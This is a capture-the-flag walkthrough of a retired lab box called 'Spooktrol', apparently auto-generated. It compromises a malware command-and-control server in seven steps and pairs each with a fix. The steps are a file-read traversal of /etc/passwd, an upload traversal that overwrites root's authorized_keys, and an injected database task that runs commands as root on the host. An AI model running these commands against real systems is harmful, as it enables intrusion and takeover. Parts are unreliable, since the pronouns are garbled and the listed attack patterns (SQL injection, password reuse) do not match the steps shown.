← all walkthroughs

Spooktrol

Linux· Hard· Web
owned
2026-07-15
time to own
6m48s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I scanned the target and found two SSH services (ports 22 and 2222) and an HTTP-based malware command-and-control (C2) framework on port 80. By downloading the C2 agent binary from an unauthenticated endpoint and reverse-engineering it, I extracted a hard-coded authentication token and learned the JSON tasking protocol the agent uses to receive instructions. A local-file-inclusion flaw in the file-serving API confirmed the process ran as root inside a container. A directory-traversal vulnerability in the file-upload endpoint — abused with the extracted token — let me overwrite the container root account's authorized SSH keys, granting an interactive root shell via the second SSH listener and the first flag. From inside the container I found the C2's SQLite task database stored on a volume accessible to container-root, enumerated the host-side agent session, and inserted a command-execution task directly into the database. When the host agent polled the C2 server and ran the queued task, it executed as root on the underlying host machine, delivering the final flag.

Attack path — how the box was taken

1ReconnaissanceService enumeration (T1046) / C2 API fingerprinting
Mapped the attack surface and identified a C2 framework on port 80
A service-version scan of <retired-instance-ip> revealed OpenSSH on port 22 (standard administration), an HTTP listener on port 80 reported as 'tcpwrapped' by nmap (meaning a non-browser application), and a second OpenSSH instance on port 2222. Direct API probes to the HTTP service discovered agent-management routes — /file_management/, /poll, /result, and /file_upload — confirming the service was a malware C2 framework, not a conventional website.
nmap reported 80/tcp tcpwrapped; curl to /file_management/?file=implant returned an ELF binary without requiring credentials.
Exact commands 3
Identify all three listening services and their banners.
nmap -Pn -sV -p22,80,2222 $TARGET
Probe HTTP headers to fingerprint the server technology.
curl -sI http://$TARGET/
Confirm the agent-download route is unauthenticated and save the binary.
curl -sS 'http://$TARGET/file_management/?file=implant' -o implant && file implant
2ExploitationBinary reverse engineering / credential extraction from compiled binary (T1552.001)
Reverse-engineered the agent binary to extract the auth token and tasking protocol
The implant ELF binary was decompiled with Ghidra and inspected with strings/objdump. The analysis showed the agent periodically polls /poll with a Cookie header containing a hard-coded authentication token ([REDACTED: protected value]). The C2 server responds with JSON task objects; task type 1 triggers OS command execution of a supplied argument on the agent host, and task type 3 (PerformUPLOAD) accepts a caller-supplied filename and writes data to that path with no path restrictions. Both the token and the task schema were embedded as string literals in the binary.
strings output returned the literal auth cookie value [REDACTED: protected value]; Ghidra decompilation showed the poll handler parsing 'task' and 'id' integer JSON fields.
Exact commands 3
Quick scan for hard-coded tokens, URLs, and API route names.
strings implant | grep -E 'auth|Cookie|poll|task|upload|http|://'
Confirm architecture and dynamic dependencies before opening in Ghidra.
readelf -a implant | grep -E 'NEEDED|Entry|Type'
Disassemble around the polling function to understand the C2 request loop; load in Ghidra for full decompilation.
objdump -d implant | grep -A 20 'poll'
FixRemove hard-coded credentials from the distributed agent binaryCritical
WeaknessThe C2 agent binary contained the server authentication token ([REDACTED: protected value]) as a plain-text string literal. Because the agent itself was downloadable without any credentials, anyone could retrieve the binary and extract a working API token in seconds using the standard 'strings' command.
FixNever embed shared secrets in binaries that leave the server. Provision each agent with a unique, per-deployment token generated at install time (e.g. via a secure bootstrap handshake or an OS-level secret store). Rotate tokens on a schedule and revoke them immediately on decommission. If a shared secret must exist, store it in an environment variable or secrets manager rather than compiled into the binary.
3ExploitationLocal File Inclusion / path traversal read (T1083)
Confirmed arbitrary file-read via path traversal in the file-management API
The /file_management/?file= query parameter was passed to a file-read routine without sanitising '..' sequences. By prepending enough relative-path components, I could read any file on the server's filesystem. Reading /etc/passwd confirmed the container's user database and that the web process ran with root-level filesystem access.
curl to /file_management/?file=../../../etc/passwd returned the container's system password file.
Exact commands 2
Confirm LFI by reading /etc/passwd outside the intended download directory.
curl -sS 'http://$TARGET/file_management/?file=../../../etc/passwd'
Inspect PID 1 command line to identify container vs. bare-metal and confirm execution context.
curl -sS 'http://$TARGET/file_management/?file=../../../proc/1/cmdline' | tr '\0' ' '
FixRestrict the file-management endpoint to a strict allowlist of permitted filenamesHigh
WeaknessThe /file_management/?file= parameter was passed directly to a file-read routine without canonicalising the path or stripping '..' sequences, allowing unauthenticated callers to read arbitrary files from the host filesystem (Local File Inclusion).
FixResolve the supplied value to its canonical absolute path (Python: os.path.realpath; C: realpath(3)) and reject any path that falls outside the designated served directory. Preferably maintain an explicit allowlist of files that may be served (e.g. only the literal string 'implant') and return a 403 for anything else. Require authentication on this endpoint even for the permitted files.
4ExploitationDirectory traversal arbitrary file write / SSH key persistence (T1098.004)
Planted I SSH public key via directory traversal in the file-upload endpoint
The authenticated file-upload endpoint /file_upload/ accepted a caller-controlled filename field in the multipart form data without stripping path separators or '..' components. Using the auth cookie extracted from the implant binary, I generated an ed25519 SSH keypair locally and uploaded the public key with a filename containing seven levels of '../' to escape the upload directory root and overwrite /root/.ssh/authorized_keys inside the container. Because the C2 server ran as root, the file was written directly to that privileged path.
Kill-chain step 3: curl PUT to /file_upload/ with session cookie [REDACTED: session value]
Exact commands 2
Generate a throw-away ed25519 keypair if one does not already exist.
if [ ! -f /tmp/spook_key ]; then ssh-keygen -q -t ed25519 -N '' -f /tmp/spook_key; fi
Overwrite the container root account's authorized_keys with me public key.
curl -sS --max-time 12 -X PUT -b "$SESSION_COOKIE" -F 'file=@/tmp/spook_key.pub;filename=../../../../../../../root/.ssh/authorized_keys' 'http://$TARGET/file_upload/'
FixSanitise upload filenames and drop root privileges on the C2 web processCritical
WeaknessThe /file_upload/ endpoint accepted a caller-controlled filename value in the multipart form without stripping path separators or '..' components. Because the C2 server ran as root, an authenticated operator could traverse out of the upload directory and overwrite any file on the system — including the root account's authorized SSH keys.
FixStrip all path components from the submitted filename before use (e.g. Python: os.path.basename(); Node: path.basename()) and reject any name still containing '/' or '..' after stripping. Run the C2 web process as a dedicated, low-privilege service account; use a chroot or container volume mount that excludes sensitive directories such as /root and /etc/ssh. Consider restricting uploads to a non-executable directory served outside the web root.
5FootholdSSH authentication with user-planted key (T1078.003)
Authenticated to the container as root via SSH and captured the user flag
With authorized_keys overwritten, I connected to the SSH daemon on port 2222 (which exposes only the container, not the host) using the matching private key. This produced an interactive root shell inside the C2 container. The user flag was read from /root/user.txt.
ssh -p 2222 -i /tmp/spook_key root@<retired-instance-ip> 'id' returned uid=0(root); user.txt read successfully.
Exact commands 2
Verify the planted key grants root access inside the container.
ssh -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 2222 -i /tmp/spook_key root@$TARGET 'id'
Retrieve the user flag — expected value is [REDACTED: flag].
ssh -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 2222 -i /tmp/spook_key root@$TARGET 'cat /root/user.txt'
6Lateral MovementLocal data discovery / C2 internal database enumeration (T1005)
Located the C2 SQLite database and identified the host agent session
Inside the container, the C2 application stored all agent registrations and pending tasks in a SQLite database at /opt/spook2/sql_app.db, fully readable and writable by the container's root account. Querying the agents and sessions tables revealed two active entries: one session for the container agent itself, and a second session ([REDACTED: protected value]) whose target field indicated it was running on the underlying host OS. The tasks table schema confirmed the same integer task-type identifiers found in the implant binary (1=exec, 3=upload).
Observer walkthrough noted session [REDACTED: protected value] as the host-root agent; sqlite3 query of /opt/spook2/sql_app.db confirmed the target field and tasks schema.
Exact commands 4
Locate SQLite database files deployed with the C2 framework.
ssh -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 2222 -i /tmp/spook_key root@$TARGET 'find /opt -name "*.db" 2>/dev/null'
List all tables to understand the C2 schema.
ssh -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 2222 -i /tmp/spook_key root@$TARGET 'sqlite3 /opt/spook2/sql_app.db ".tables"'
Enumerate registered agents; identify the non-container session ID for the host agent.
ssh -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 2222 -i /tmp/spook_key root@$TARGET 'sqlite3 -header -column /opt/spook2/sql_app.db "SELECT * FROM agents;"'
Inspect existing task rows to confirm column names and integer task-type values.
ssh -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 2222 -i /tmp/spook_key root@$TARGET 'sqlite3 -header -column /opt/spook2/sql_app.db "SELECT * FROM tasks LIMIT 10;"'
FixPrevent direct write access to the C2 task database from within the containerCritical
WeaknessThe C2 SQLite database that drives the host-side agent was stored on a volume writable by the container's root account. This let me gained container root bypass all API-level controls and inject arbitrary tasks — including OS command execution — directly into the database, which the host agent then faithfully executed as root on the physical machine.
FixThe host agent should consume tasks only through authenticated API calls over a network socket, never by reading a shared file. Remove any bind-mount or volume that gives the container filesystem-level access to files consumed by the host agent. If a shared data store is required, enforce row-level ownership and cryptographically sign task records so the host agent rejects rows it did not receive through its authenticated channel. Migrate from SQLite to a server-backed database (PostgreSQL, MySQL) where the host agent connects with a read-only account scoped to its own task rows.
7Privilege EscalationStored data manipulation — C2 task injection via direct database write (T1565.001)
Injected a command-execution task for the host agent and retrieved the root flag
Because the container's root account could write directly to the SQLite database, I inserted a new task row targeting the host agent session ([REDACTED: protected value]) with task type 1 (exec) and the argument 'cat /root/root.txt'. The next time the host-side agent polled the C2 server it fetched and executed the task as root on the physical host, storing the output in the task's result column. Polling the database for that task ID returned the root flag, completing full host compromise without any additional vulnerability — the C2 framework's own tasking mechanism became the escalation path.
Observer walkthrough: 'Task 3 was queued for session [REDACTED: protected value] to read the root flag'; raw DB row: 3|[REDACTED: protected value]|0|1|cat /root/root.txt.
Exact commands 2
Insert the exec task for the host agent; adjust column names to match the actual schema if different.
ssh -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 2222 -i /tmp/spook_key root@$TARGET 'sqlite3 /opt/spook2/sql_app.db "INSERT INTO tasks (target,status,task,arg1) VALUES (\"[REDACTED: protected value]\",0,1,\"cat /root/root.txt\");"'
Poll until the result column is populated with the root flag value ([REDACTED: flag]); re-run after a few seconds if status is still 0.
ssh -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 2222 -i /tmp/spook_key root@$TARGET 'sqlite3 -header -column /opt/spook2/sql_app.db "SELECT id,target,status,task,result FROM tasks WHERE target=\"[REDACTED: protected value]\" ORDER BY id DESC LIMIT 5;"'
FixPrevent direct write access to the C2 task database from within the containerCritical
WeaknessThe C2 SQLite database that drives the host-side agent was stored on a volume writable by the container's root account. This let me gained container root bypass all API-level controls and inject arbitrary tasks — including OS command execution — directly into the database, which the host agent then faithfully executed as root on the physical machine.
FixThe host agent should consume tasks only through authenticated API calls over a network socket, never by reading a shared file. Remove any bind-mount or volume that gives the container filesystem-level access to files consumed by the host agent. If a shared data store is required, enforce row-level ownership and cryptographically sign task records so the host agent rejects rows it did not receive through its authenticated channel. Migrate from SQLite to a server-backed database (PostgreSQL, MySQL) where the host agent connects with a read-only account scoped to its own task rows.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Local File InclusionWebT1190

What it is

A web app builds a file path from user input (?page=../../etc/passwd), letting me read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.

Why it works

The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.

Read more

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting me alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets me authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Findings

Privilege Escalation to rootCritical
A local misconfiguration allowed the foothold account to execute code as root.

Exposed services

22/tcp
80/tcp
2222/tcp